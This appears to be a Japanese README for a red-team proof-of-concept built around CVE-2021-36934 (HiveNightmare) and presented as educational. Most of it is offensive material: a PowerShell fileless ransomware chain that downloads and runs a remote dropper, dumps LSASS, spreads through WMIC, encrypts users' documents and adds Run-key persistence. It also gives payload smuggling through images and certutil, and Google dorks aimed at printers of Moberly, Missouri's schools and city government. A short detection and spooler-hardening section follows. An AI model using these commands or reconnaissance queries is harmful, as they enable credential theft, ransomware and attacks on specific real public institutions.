
CVE-2021-36934(シャドウコピーに対する不適切なACL)のエクスプロイトを使用し、Windows 10/11上でLOLBinsを用いたファイルレスなレッドチーム手法でSYSTEMハイブとSAMハイブを抽出して、ローカルのNTLMハッシュを取得するPoCマルウェア。

CVE-2021-36934/HiveNightmare は、Windows 11 上で ファイルレスマルウェア 攻撃フレームワークをシミュレートする、教育目的のレッド/パープルチーム研究プロジェクトです。MITRE ATT&CK の手法を用いて、ステルス性の高いファイルレス操作を中心とした、現実世界の敵対的キルチェーンをエミュレートできます。
警告: 隔離されたラボ環境での研究・訓練のみを目的としています。本番環境や許可のないシステムでは使用しないでください。
次の PowerShell シミュレーションは、Windows 標準ツール (LOLBins) を使った典型的なファイルレスランサムウェア攻撃チェーンを示しています。
# Initial Access: Load dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# Execution: Decode and load in-memory payload
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/HEAD/:Load($bytes)
# Privilege Escalation
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# Credential Access
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Lateral Movement
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# File Encryption Example
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# Persistence
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
目標例: ミズーリ州モベリーにある、PrintNightmare などのエクスプロイトに対して潜在的に脆弱な、公開されたプリンターサービスを特定する。
Google Dork クエリの例:
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
Living Off the Land Binaries (LOLBins) とは、正規で信頼された Windows バイナリであり、セキュリティ対策を回避して悪意のあるコードをファイルレスで実行するために、攻撃者によく悪用されます。
使用例 (印刷サービス攻撃):
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
攻撃者は
rundll32.exe、regsvr32.exe、powershell.exeなどの LOLBins を使ってネットワーク共有からペイロードを実行します。多くの場合、偵察によって露出したプリンターやサーバーを特定した後に行われます。
目的: アーカイブを画像内に埋め込み、ネイティブツールで抽出することで、ペイロードをこっそり配信する。
手順:
ペイロードを埋め込む:
copy /b nsfw.jpg + payload.7z nsfw.jpg
抽出してデコードする:
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
この方法は、従来のファイル拡張子フィルタリングを回避し、回避型配信のために内蔵ツールを活用します。
手法: リフレクティブローディングを使用して、悪意のある DLL をメモリ内で直接ロードし実行する。
例:
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
これにより、ディスク上に痕跡を残さない、ステルス性の高いインメモリ実行が可能になります。
Sysmon + Sigma ルール:
rundll32.exe を監視するcertutil.exe、regsvr32.exe、mshta.exe の異常な使用を監視するSIEM の例 (ELK/Splunk):
explorer.exe が rundll32.exe を起動する)Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
このリポジトリのすべてのコンテンツ、コード、手法は、教育および許可を得たペネトレーションテストのみを目的としています。管理された隔離環境の外で、明示的な許可なしにこのプロジェクトの一部を使用しないでください。作成者は誤用に対する責任を負いません。
安全に保ち、責任を持って研究し、常に合法かつ倫理的な方法で使用してください。
| フェーズ | 手法 | ID | 説明 |
|---|
| 初期アクセス | 有効なアカウント / ドライブバイ侵害 | T1078, T1189 | 公開された印刷インターフェースの侵害 |
| 実行 | DLL サイドローディング / LOLBins | T1218, T1055.001 | 信頼されたバイナリを介した DLL のリフレクティブ実行 |
| 権限昇格 | Print Spooler エクスプロイト / Hive ACL 悪用 | T1068, T1003.002 | SYSTEM レベルのアクセスと SAM ハッシュの抽出 |
| 防御回避 | ファイルレス実行 / 難読化ファイル | T1027, T1202 | certutil、mshta などを介して配信されるエンコード済みペイロード |
| 認証情報へのアクセス | LSASS ダンプ / SAM ハイブへのアクセス | T1003 | HiveNightmare 後の認証情報ダンプ |
| 横展開 | SMB/ネットワーク共有の列挙 | T1021.002 | プリンター共有またはスプーラー列挙を介した拡散 |
| 影響 | データ破壊 / 暗号化 | T1485, T1486 | DLL ペイロードを介してトリガーされるファイルレスワイパーウェア |